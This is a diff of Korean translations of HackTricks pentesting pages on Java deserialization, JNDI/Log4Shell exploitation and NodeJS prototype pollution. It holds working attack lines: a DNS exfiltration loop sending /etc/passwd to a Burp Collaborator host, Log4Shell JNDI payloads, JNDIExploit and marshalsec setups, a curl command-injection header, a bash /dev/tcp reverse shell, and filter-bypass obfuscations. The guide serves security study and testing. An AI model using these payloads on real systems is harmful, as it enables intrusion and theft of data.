기본적으로 모든 요청과 응답을 **수동으로 확인**하여 **Java 직렬화 마법 바이트**를 찾고, 발견된 경우 취약성 경고를 표시합니다:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
@ -170,13 +170,13 @@ GitHub 내에서, [**GadgetProbe에는 테스트할 Java 클래스가 포함된
**악용**
취약한 라이브러리를 식별한 후, 요청을 _Exploiting Tab_으로 보낼 수 있습니다.\
이 탭에서 **주입 지점**을 다시 **선택**하고, 페이로드를 생성할 **취약한 라이브러리**와 **명령**을 **작성**해야 합니다. 그런 다음, 적절한 **공격** 버튼을 누르십시오.
이 탭에서 **주입 지점**을 다시 **선택**하고, 페이로드를 생성할 **취약한 라이브러리**와 **명령어**를 **작성**해야 합니다. 그런 다음, 적절한 **공격** 버튼을 누릅니다.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Java 역직렬화 DNS 유출 정보
페이로드가 다음과 같은 작업을 수행하도록 만드십시오:
페이로드가 다음과 같은 작업을 수행하도록 만드세요:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```

View File

@ -45,7 +45,7 @@ lazyMap.get("anything");
Java deserialization payloads에 대해 아무것도 모른다면 이 코드가 calc를 실행하는 이유를 파악하기 어려울 수 있습니다.
우선, **Java의 Transformer**는 **클래스를 수신**하고 **다른 클래스로 변환**하는 것입니다.\
또한 여기서 **실행되는 payload**는 **다음과 동등**하다는 것을 아는 것이 흥미롭습니다:
또한 여기서 **실행되는 payload**는 **다음과 동등하다는 것을 아는 것이 흥미롭습니다:**
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
@ -55,7 +55,7 @@ Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
### 방법
그래서, 첫 번째 페이로드가 그 "간단한" 원라이너와 어떻게 동등한가요?
그래서 첫 번째 페이로드가 그 "간단한" 한 줄짜리와 어떻게 동등한가요?
**첫째**로, 페이로드에서 **변환의 체인(배열)이 생성된다는 것을 알 수 있습니다**:
```java
@ -124,7 +124,7 @@ object = iTransformers[i].transform(object);
return object;
}
```
그래서 **factory** 안에 **`chainedTransformer`**를 저장했으며, **`transform`** 함수 안에서 **모든 체인된 변환기를 순회하며** 하나씩 실행하고 있다는 것을 기억하세요. 재미있는 점은 **각 변환기가 `object`**를 **입력으로 사용하고** **object는 마지막으로 실행된 변환기의 출력**이라는 것입니다. 따라서 **모든 변환이 악의적인 페이로드를 체인으로 실행하고 있습니다**.
그래서 **factory** 안에 **`chainedTransformer`**를 저장했으며, **`transform`** 함수 안에서 **모든 체인된 변환기를 순차적으로 실행하고** 있습니다. 재미있는 점은 **각 변환기가 `object`를 입력으로 사용하고** **object가 마지막으로 실행된 변환기의 출력**이라는 것입니다. 따라서 **모든 변환이 악의적인 페이로드를 체인으로 실행하고** 있습니다.
### 요약
@ -149,11 +149,11 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_각 변환의 입력이 `value`이고 이전 변환의 출력임을 주목하세요. 이는 한 줄짜리 실행을 가능하게 합니다:_
_각 변환의 입력이 `value`이고 이전 변환의 출력임을 주목하세요. 이는 한 줄 코드를 실행할 수 있게 합니다:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
여기서 **ComonsCollections1** 페이로드에 사용된 **가젯**이 설명되었습니다. 그러나 **이 모든 것이 어떻게 실행되는지**는 남겨져 있습니다. [여기에서 **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)를 보면, 이 페이로드를 실행하기 위해 `AnnotationInvocationHandler` 객체를 사용합니다. **이 객체가 역직렬화되면**, `payload.get()` 함수를 **호출**하여 **전체 페이로드를 실행**합니다.
여기**ComonsCollections1** 페이로드에 사용된 **가젯**이 설명되었습니다. 그러나 **이 모든 것이 어떻게 실행되는지**는 남겨져 있습니다. [여기에서 **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)를 보면, 이 페이로드를 실행하기 위해 `AnnotationInvocationHandler` 객체를 사용합니다. **이 객체가 역직렬화되면**, `payload.get()` 함수를 **호출**하여 **전체 페이로드를 실행**합니다.
## Java Thread Sleep

View File

@ -4,7 +4,7 @@
## 기본 정보
JNDI는 1990년대 후반부터 Java에 통합되어 데이터나 객체를 이름 체계를 통해 찾을 수 있도록 하는 디렉토리 서비스 역할을 합니다. 서비스 제공자 인터페이스(SPIs)를 통해 다양한 디렉토리 서비스를 지원하며, 원격 Java 객체를 포함한 다양한 시스템에서 데이터 검색이 가능합니다. 일반적인 SPIs로는 CORBA COS, Java RMI Registry, LDAP이 있습니다.
JNDI는 1990년대 후반부터 Java에 통합되어 데이터나 객체를 이름 체계를 통해 찾을 수 있도록 하는 디렉토리 서비스 역할을 합니다. 서비스 제공자 인터페이스(SPIs)를 통해 다양한 디렉토리 서비스를 지원하며, 원격 Java 객체를 포함한 다양한 시스템에서 데이터 검색이 가능합니다. 일반적인 SPI로는 CORBA COS, Java RMI Registry, LDAP이 있습니다.
### JNDI 이름 참조
@ -15,11 +15,11 @@ Java 객체는 JNDI 이름 참조를 사용하여 저장하고 검색할 수 있
그러나 이 메커니즘은 악용될 수 있으며, 임의의 코드가 로드되고 실행될 수 있습니다. 이에 대한 대응책으로:
- **RMI**: JDK 7u21부터 기본적으로 `java.rmi.server.useCodebaseOnly = true`로 설정되어 원격 객체 로드를 제한합니다. 보안 관리자가 추가로 로드할 수 있는 항목을 제한합니다.
- **RMI**: JDK 7u21부터 기본적으로 `java.rmi.server.useCodebaseOnly = true`로 설정되어 원격 객체 로드를 제한합니다. 보안 관리자가 추가로 로드할 수 있는 내용을 제한합니다.
- **LDAP**: JDK 6u141, 7u131, 8u121부터 기본적으로 `com.sun.jndi.ldap.object.trustURLCodebase = false`로 설정되어 원격으로 로드된 Java 객체의 실행을 차단합니다. `true`로 설정하면 보안 관리자의 감독 없이 원격 코드 실행이 가능합니다.
- **CORBA**: 특정 속성이 없지만 보안 관리자는 항상 활성화되어 있습니다.
그러나 JNDI 링크를 해결하는 역할을 하는 **이름 관리자**는 내장 보안 메커니즘이 부족하여 모든 출처에서 객체를 검색할 수 있는 위험이 있습니다. 이는 RMI, LDAP 및 CORBA 보호를 우회할 수 있어 임의의 Java 객체를 로드하거나 기존 애플리케이션 구성 요소(가젯)를 악용하여 악성 코드를 실행할 수 있습니다.
그러나 JNDI 링크를 해결하는 역할을 하는 **이름 관리자**는 내장 보안 메커니즘이 부족하여 모든 출처에서 객체를 검색할 수 있는 위험이 있습니다. 이는 RMI, LDAP 및 CORBA 보호를 우회할 수 있어 임의의 Java 객체를 로드하거나 기존 애플리케이션 구성 요소(가젯)를 악용하여 악성 코드를 실행할 수 있습니다.
악용 가능한 URL의 예는 다음과 같습니다:
@ -33,7 +33,7 @@ Java 객체는 JNDI 이름 참조를 사용하여 저장하고 검색할 수 있
![](<../../images/image (1022).png>)
**`PROVIDER_URL`**을 설정했더라도 조회에서 다른 URL을 지정할 수 있으며, 이는 접근됩니다: `ctx.lookup("<attacker-controlled-url>")` 이 공격자가 이를 악용하여 그가 제어하는 시스템에서 임의의 객체를 로드할 수 있습니다.
**`PROVIDER_URL`**을 설정했더라도, 조회 시 다른 URL을 지정할 수 있으며 접근할 수 있습니다: `ctx.lookup("<attacker-controlled-url>")` 공격자가 자신이 제어하는 시스템에서 임의의 객체를 로드하는 데 악용할 것입니다.
### CORBA 개요
@ -72,7 +72,7 @@ LDAP 검색이 **SearchControls.setReturningObjFlag()**와 함께 `true`로 호
![](<../../images/image (275).png>)
**익스플로잇은 직렬화되어 있으며** 역직렬화됩니다.\
**익스플로잇은 직렬화되어** 역직렬화됩니다.\
`trustURLCodebase``true`인 경우, 공격자는 코드베이스에 자신의 클래스를 제공할 수 있으며, 그렇지 않으면 클래스 경로에서 가젯을 악용해야 합니다.
#### JNDI 참조 익스플로잇
@ -85,7 +85,7 @@ LDAP 검색이 **SearchControls.setReturningObjFlag()**와 함께 `true`로 호
이 취약점은 Log4j에서 [**특수 구문**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)을 지원하기 때문에 발생합니다. 이 구문은 `${prefix:name}` 형식이며, 여기서 `prefix`는 여러 다른 [**조회**](https://logging.apache.org/log4j/2.x/manual/lookups.html) 중 하나이고 `name`은 평가되어야 합니다. 예를 들어, `${java:version}`은 현재 실행 중인 Java 버전입니다.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)은 `jndi` 조회 기능을 도입했습니다. 이 기능은 JNDI를 통해 변수를 검색할 수 있게 해줍니다. 일반적으로 키는 자동으로 `java:comp/env/`로 접두사가 붙습니다. 그러나 키 자체에 **":"**가 포함된 경우, 이 기본 접두사 적용되지 않습니다.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)은 `jndi` 조회 기능을 도입했습니다. 이 기능은 JNDI를 통해 변수를 검색할 수 있게 해줍니다. 일반적으로 키는 자동으로 `java:comp/env/`로 접두사가 붙습니다. 그러나 키 자체에 **":"**가 포함된 경우, 이 기본 접두사 적용되지 않습니다.
키에 **:가 존재**하는 경우, 예를 들어 `${jndi:ldap://example.com/a}`와 같이 **접두사가 없고** **LDAP 서버에 객체가 쿼리됩니다**. 이러한 조회는 Log4j의 구성뿐만 아니라 로그가 기록될 때에도 사용될 수 있습니다.
@ -95,7 +95,7 @@ LDAP 검색이 **SearchControls.setReturningObjFlag()**와 함께 `true`로 호
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
이 취약점은 `log4j-core` 구성 요소의 심각한 **신뢰할 수 없는 역직렬화 결함**으로, 2.0-beta9에서 2.14.1까지의 버전에 영향을 미칩니다. 이는 **원격 코드 실행(RCE)**을 허용하여 공격자가 시스템을 장악할 수 있게 합니다. 이 문제는 Alibaba Cloud Security Team의 Chen Zhaojun에 의해 보고되었으며, 다양한 Apache 프레임워크에 영향을 미칩니다. 2.15.0 버전의 초기 수정은 불완전했습니다. 방어를 위한 Sigma 규칙이 제공됩니다 ([규칙 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [규칙 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
이 취약점은 `log4j-core` 구성 요소의 심각한 **신뢰할 수 없는 역직렬화 결함**으로, 2.0-beta9에서 2.14.1까지의 버전에 영향을 미칩니다. 이는 **원격 코드 실행(RCE)**을 허용하여 공격자가 시스템을 장악할 수 있게 합니다. 이 문제는 Alibaba Cloud Security Team의 Chen Zhaojun에 의해 보고되었으며, 다양한 Apache 프레임워크에 영향을 미칩니다. 2.15.0 버전의 초기 수정은 불완전했습니다. 방어를 위한 Sigma 규칙이 제공됩니다 ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
@ -127,12 +127,12 @@ log4j 버전 2.17에 영향을 미치는 이 CVE는 공격자가 log4j의 구성
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (using [huntress](https://log4shell.huntress.com))
**DNS 요청이 수신되었다고 해서 애플리케이션이 악용 가능하다는 의미는 아닙니다**(또는 심지어 취약하다는 의미도 아닙니다). 이를 악용하려고 시도해야 합니다.
> [!NOTE]
> **버전 2.15**를 악용하려면 **localhost 체크 우회**를 추가해야 합니다: ${jndi:ldap://**127.0.0.1#**...}
> **버전 2.15를 악용하려면** **localhost 체크 우회**를 추가해야 합니다: ${jndi:ldap://**127.0.0.1#**...}
#### **로컬 발견**
@ -209,13 +209,13 @@ Any other env variable name that could store sensitive information
>
> 이러한 높은 JDK 버전을 악용하려는 공격자는 Java 애플리케이션 내에서 **신뢰할 수 있는 가젯**을 활용해야 합니다. ysoserial 또는 JNDIExploit과 같은 도구가 종종 이 목적에 사용됩니다. 반면, 낮은 JDK 버전을 악용하는 것은 상대적으로 더 쉽습니다. 이러한 버전은 임의의 클래스를 로드하고 실행하도록 조작할 수 있습니다.
>
> **자세한 정보** (_RMI 및 CORBA 벡터에 대한 제한 사항과 같은_) **이전 JNDI 명명 참조 섹션을 확인하거나** [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) **를 참조하세요.**
> **자세한 정보** (_RMI 및 CORBA 벡터에 대한 제한 사항과 같은_) **이전 JNDI 명명 참조 섹션을 확인하거나** [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) **를 참조하세요.**
### RCE - 사용자 정의 페이로드를 사용한 Marshalsec
이것을 **THM 박스에서 테스트할 수 있습니다:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
이것을 **THM 박스**에서 테스트할 수 있습니다: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
도구 [**marshalsec**](https://github.com/mbechler/marshalsec) (jar 버전은 [**여기**](https://github.com/RandomRobbieBF/marshalsec-jar)에서 사용 가능)를 사용하세요. 이 접근 방식은 연결을 두 번째 HTTP 서버로 리디렉션하는 LDAP 추천 서버를 설정하여 익스플로잇이 호스팅될 수 있도록 합니다:
도구 [**marshalsec**](https://github.com/mbechler/marshalsec) (jar 버전은 [**여기**](https://github.com/RandomRobbieBF/marshalsec-jar)에서 사용 가능)를 사용하세요. 이 접근 방식은 연결을 두 번째 HTTP 서버로 리디렉션하는 LDAP 참조 서버를 설정하여 익스플로잇이 호스팅될 수 있도록 합니다:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
@ -237,12 +237,12 @@ Java 파일을 클래스 파일로 컴파일하려면: `javac Exploit.java -sour
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**참고:** 이 익스플로잇은 Java의 구성이 LDAP를 통해 원격 코드베이스 로딩을 허용하는 의존합니다. 이것이 허용되지 않는 경우, 임의 코드 실행을 위해 신뢰할 수 있는 클래스를 이용하는 것을 고려하십시오.
**참고:** 이 익스플로잇은 Java의 구성이 LDAP를 통해 원격 코드베이스 로딩을 허용하는 것에 의존합니다. 이것이 허용되지 않는 경우, 임의 코드 실행을 위해 신뢰할 수 있는 클래스를 이용하는 것을 고려하십시오.
### RCE - **JNDIExploit**
> [!NOTE]
> 어떤 이유로 저자가 log4shell 발견 후 이 프로젝트를 github에서 제거했습니다. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)에서 캐시된 버전을 찾을 수 있지만, 저자의 결정을 존중하고 싶다면 이 취약점을 이용하 다른 방법을 사용하십시오.
> 어떤 이유로 저자가 log4shell 발견 후 이 프로젝트를 github에서 제거했습니다. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)에서 캐시된 버전을 찾을 수 있지만, 저자의 결정을 존중하고 싶다면 이 취약점을 이용하기 위해 다른 방법을 사용하십시오.
>
> 또한, wayback machine에서 소스 코드를 찾을 수 없으므로, 소스 코드를 분석하거나 실행하는 내용을 모른 채 jar 파일을 실행하십시오.
@ -254,7 +254,7 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
코드를 몇 분만 읽으면, _com.feihong.ldap.LdapServer_와 _com.feihong.ldap.HTTPServer_에서 **LDAP 및 HTTP 서버가 어떻게 생성되는지** 수 있습니다. LDAP 서버는 어떤 페이로드를 제공해야 하는지 이해하고, 피해자를 HTTP 서버로 리디렉션하여 익스플로잇을 제공합니다.\
코드를 몇 분만 읽으면, _com.feihong.ldap.LdapServer_와 _com.feihong.ldap.HTTPServer_에서 **LDAP 및 HTTP 서버가 생성되는 방법**을 볼 수 있습니다. LDAP 서버는 어떤 페이로드를 제공해야 하는지 이해하고, 피해자를 HTTP 서버로 리디렉션하여 익스플로잇을 제공합니다.\
_com.feihong.ldap.gadgets_에서는 원하는 작업을 실행하는 데 사용할 수 있는 **특정 가젯**을 찾을 수 있습니다(잠재적으로 임의 코드를 실행할 수 있음). 그리고 _com.feihong.ldap.template_에서는 **익스플로잇을 생성하는** 다양한 템플릿 클래스를 볼 수 있습니다.
모든 사용 가능한 익스플로잇은 **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**로 확인할 수 있습니다. 유용한 것들은:
@ -264,7 +264,7 @@ ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
그래서, 우리의 예제에서는 이미 취약한 도커 앱이 실행되고 있습니다. 이를 공격하기 위해:
그래서, 우리의 예제에서 우리는 이미 취약한 도커 앱이 실행되고 있습니다. 이를 공격하기 위해:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -296,14 +296,14 @@ _이 공격은 사용자 정의 생성된 자바 객체를 사용하여 **THM so
### RCE - ysoserial & JNDI-Exploit-Kit
이 옵션은 **지정된 클래스만 신뢰하도록 구성된 Java 버전을 공격하는 데 정말 유용합니다.** 따라서 **ysoserial**은 **임의 코드를 실행하는 데 사용할 수 있는 신뢰할 수 있는 클래스의 **직렬화**를 생성하는 데 사용됩니다 (_ysoserial에 의해 악용된 신뢰할 수 있는 클래스는 공격이 작동하기 위해 피해자 자바 프로그램에서 사용되어야 합니다_).
이 옵션은 **지정된 클래스만 신뢰하도록 구성된 Java 버전을 공격하는 데 정말 유용합니다**. 따라서 **ysoserial**은 **임의 코드를 실행하는 데 사용할 수 있는 신뢰할 수 있는 클래스의 직렬화를 생성하는 데 사용됩니다** (_ysoserial에 의해 악용된 신뢰할 수 있는 클래스는 공격이 작동하기 위해 피해자 자바 프로그램에서 사용되어야 합니다_).
**ysoserial** 또는 [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)를 사용하여 JNDI에 의해 다운로드될 역직렬화 공격을 생성할 수 있습니다:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)를 사용하여 **JNDI 링크**를 생성합니다. 여기서 익스플로잇은 취약한 머신으로부터의 연결을 기다립니다. JNDI-Exploit-Kit에 의해 자동으로 생성될 수 있는 **다양한 익스플로잇**이나 심지어 **자신의 역직렬화 페이로드**(자신이 생성한 것 또는 ysoserial)를 제공할 수 있습니다.
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)를 사용하여 **JNDI 링크**를 생성합니다. 여기서 익스플로잇은 취약한 머신으로부터의 연결을 기다립니다. JNDI-Exploit-Kit에 의해 자동으로 생성될 수 있는 **다양한 익스플로잇**을 제공하거나, 심지어 **자신의 역직렬화 페이로드**(자신이 생성한 것 또는 ysoserial)를 사용할 수 있습니다.
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
@ -332,7 +332,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - 로컬 취약 라이브러리 찾기
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - 로컬 취약 라이브러리 찾기
### 테스트할 실험실
@ -347,9 +347,9 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Log4j의 [**보안 페이지**](https://logging.apache.org/log4j/2.x/security.html)에는 흥미로운 문장이 있습니다:
> 버전 2.16.0(자바 8부터)부터는 **메시지 조회 기능이 완전히 제거되었습니다**. **구성에서의 조회는 여전히 작동합니다**. 게다가, Log4j는 이제 기본적으로 JNDI 접근을 비활성화합니다. 구성에서의 JNDI 조회는 이제 명시적으로 활성화해야 합니다.
> 버전 2.16.0 (Java 8용)부터는 **메시지 조회 기능이 완전히 제거되었습니다**. **구성에서의 조회는 여전히 작동합니다**. 또한, Log4j는 이제 기본적으로 JNDI에 대한 접근을 비활성화합니다. 구성에서 JNDI 조회는 이제 명시적으로 활성화해야 합니다.
> 버전 2.17.0(자바 7 및 자바 6의 2.12.3 및 2.3.1 포함)부터는 **구성에서의 조회 문자열만 재귀적으로 확장됩니다**; 다른 사용에서는 최상위 조회만 해결되며, 중첩된 조회는 해결되지 않습니다.
> 버전 2.17.0부터 (Java 7 및 Java 6의 경우 2.12.3 및 2.3.1), **구성에서의 조회 문자열만 재귀적으로 확장됩니다**; 다른 사용에서는 최상위 조회만 해결되며, 중첩된 조회는 해결되지 않습니다.
이는 기본적으로 `jndi` 악용을 **잊어버릴 수 있다는 것을 의미합니다**. 게다가 **재귀 조회**를 수행하려면 이를 구성해야 합니다.
@ -377,16 +377,16 @@ CTF에서는 log4J를 사용하는 자바 애플리케이션의 **stderr에 접
![](<../../images/image (683).png>)
이것은 오류 메시지 내 데이터를 유출하는 데 유용하지 않았습니다. 왜냐하면 변환 패턴 이전에 조회가 해결되지 않았기 때문이지만, 감지와 같은 다른 용도로 유용할 수 있습니다.
이것은 오류 메시지 내에서 데이터를 유출하는 데 유용하지 않았습니다. 왜냐하면 변환 패턴 이전에 조회가 해결되지 않았기 때문이지만, 탐지와 같은 다른 용도로는 유용할 수 있습니다.
### Conversion Patterns Regexes
그러나, **정규 표현식을 지원하는 변환 패턴**을 사용하여 정규 표현식을 사용하고 **이진 검색** 또는 **시간 기반** 동작을 악용하여 조회에서 정보를 유출할 수 있습니다.
그러나, **정규 표현식을 지원하는 변환 패턴**을 사용하여 정규 표현식을 이용해 조회에서 정보를 유출하고 **이진 검색** 또는 **시간 기반** 동작을 악용하는 것이 가능합니다.
- **예외 메시지를 통한 이진 검색**
변환 패턴 **`%replace`**는 **정규 표현식**을 사용하여 **문자열**의 **내용**을 **대체**하는 데 사용할 수 있습니다. 작동 방식은 다음과 같습니다: `replace{pattern}{regex}{substitution}`\
이 동작을 악용하여 정규 표현식이 문자열 내의 어떤 것과도 일치하면 **예외를 발생시키고** 일치하지 않으면 예외가 발생하지 않도록 만들 수 있습니다:
이 동작을 악용하여 **정규 표현식이 문자열 내의 어떤 것과도 일치하면 예외를 발생시키고** 발견되지 않으면 예외가 발생하지 않도록 만들 수 있습니다:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@ -397,7 +397,7 @@ CTF에서는 log4J를 사용하는 자바 애플리케이션의 **stderr에 접
앞서 언급했듯이, **`%replace`**는 **regexes**를 지원합니다. 따라서 플래그가 발견될 경우 **타임아웃**을 유발하기 위해 [**ReDoS 페이지**](../regular-expression-denial-of-service-redos.md)의 페이로드를 사용할 수 있습니다.\
예를 들어, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`와 같은 페이로드는 해당 CTF에서 **타임아웃**을 유발할 것입니다.
이 [**작성글**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)에서는 ReDoS 공격 대신 **증폭 공격**을 사용하여 응답의 시간 차이를 유발했습니다:
이 [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)에서는 ReDoS 공격 대신 **증폭 공격**을 사용하여 응답의 시간 차이를 유발했습니다:
> ```
> /%replace{
@ -414,10 +414,9 @@ CTF에서는 log4J를 사용하는 자바 애플리케이션의 **stderr에 접
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> 플래그가 `flagGuess`로 시작하면 전체 플래그는 29개의 `#`로 대체됩니다 (이 문자를 사용한 이유는 플래그의 일부가 아닐 가능성이 높기 때문입니다). **결과적으로 29개의 `#`는 54개의 `#`로 대체됩니다**. 이 과정은 **6번** 반복되어 총 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`가 됩니다!**
> 플래그가 `flagGuess`로 시작하면 전체 플래그는 29개의 `#`로 대체됩니다 (이 문자는 플래그의 일부가 아닐 가능성이 높기 때문에 사용했습니다). **결과적으로 29개의 `#`는 각각 54개의 `#`로 대체됩니다**. 이 과정은 **6번** 반복되어 총 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`생성됩니다!**
>
> 이렇게 많은 `#`를 대체하면 Flask 애플리케이션의 10초 타임아웃이 발생하여 HTTP 상태 코드 500이 사용자에게 전송됩니다. (플래그가 `flagGuess`로 시작하지 않으면 500이 아닌 상태 코드를 받게 됩니다)

View File

@ -1,4 +1,4 @@
# NodeJS - \_\_proto\_\_ 및 프로토타입 오염
# NodeJS - \_\_proto\_\_ & prototype Pollution
{{#include ../../../banners/hacktricks-training.md}}
@ -31,21 +31,21 @@ var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
```
### Prototypes in JavaScript
### JavaScript의 프로토타입
JavaScript는 런타임에 프로토타입 속성을 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능의 동적 확장을 가능하게 합니다.
`toString``valueOf`와 같은 함수는 그 동작을 변경하도록 수정될 수 있으며, 이는 JavaScript의 프로토타입 시스템의 적응 가능한 특성을 보여줍니다.
`toString``valueOf`와 같은 함수는 그 동작을 변경하기 위해 수정될 수 있으며, 이는 JavaScript의 프로토타입 시스템의 적응 가능한 특성을 보여줍니다.
## Inheritance
## 상속
프로토타입 기반 프로그래밍에서 속성/메서드는 객체가 클래스에서 상속받습니다. 이러한 클래스는 다른 클래스의 인스턴스나 빈 객체에 속성/메서드를 추가하여 생성됩니다.
다른 객체의 프로토타입 역할을 하는 객체(예: `myPersonObj`)에 속성이 추가되면, 상속받는 객체는 이 새로운 속성에 접근할 수 있습니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.
다른 객체의 프로토타입 역할을 하는 객체(예: `myPersonObj`)에 속성이 추가될 때, 상속받는 객체는 이 새로운 속성에 접근할 수 있다는 점에 유의해야 합니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
## \_\_proto\_\_ 오염 <a href="#id-0d0a" id="id-0d0a"></a>
## Exploring Prototype Pollution in JavaScript
## JavaScript에서 프로토타입 오염 탐색
JavaScript 객체는 키-값 쌍으로 정의되며 JavaScript Object 프로토타입에서 상속됩니다. 이는 Object 프로토타입을 변경하면 환경의 모든 객체에 영향을 미칠 수 있음을 의미합니다.
@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## 프로토타입 오염
## prototype pollution
`__proto__` 사용이 제한된 시나리오에서는 함수의 프로토타입을 수정하는 것이 대안입니다:
```javascript
@ -121,7 +121,7 @@ console.log("Hello!")
### 클래스에서 Object.prototype으로
특정 객체를 **오염시킬 수 있는** 시나리오에서 **`Object.prototype`접근해야** 하는 경우, 다음과 같은 코드로 검색할 수 있습니다:
특정 객체를 **오염시킬 수 있는** 시나리오에서 **`Object.prototype`도달해야** 하는 경우, 다음과 같은 코드로 검색할 수 있습니다:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### 배열 요소 오염
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 오염시킬 수 있는 접근 권한이 있다면 **인덱스를 통해 접근 가능한 배열의 값도 오염시킬 수 있습니다** (값을 덮어쓸 수는 없으므로, 어떤 식으로든 사용되지만 쓰이지 않는 인덱스를 오염시켜야 합니다).
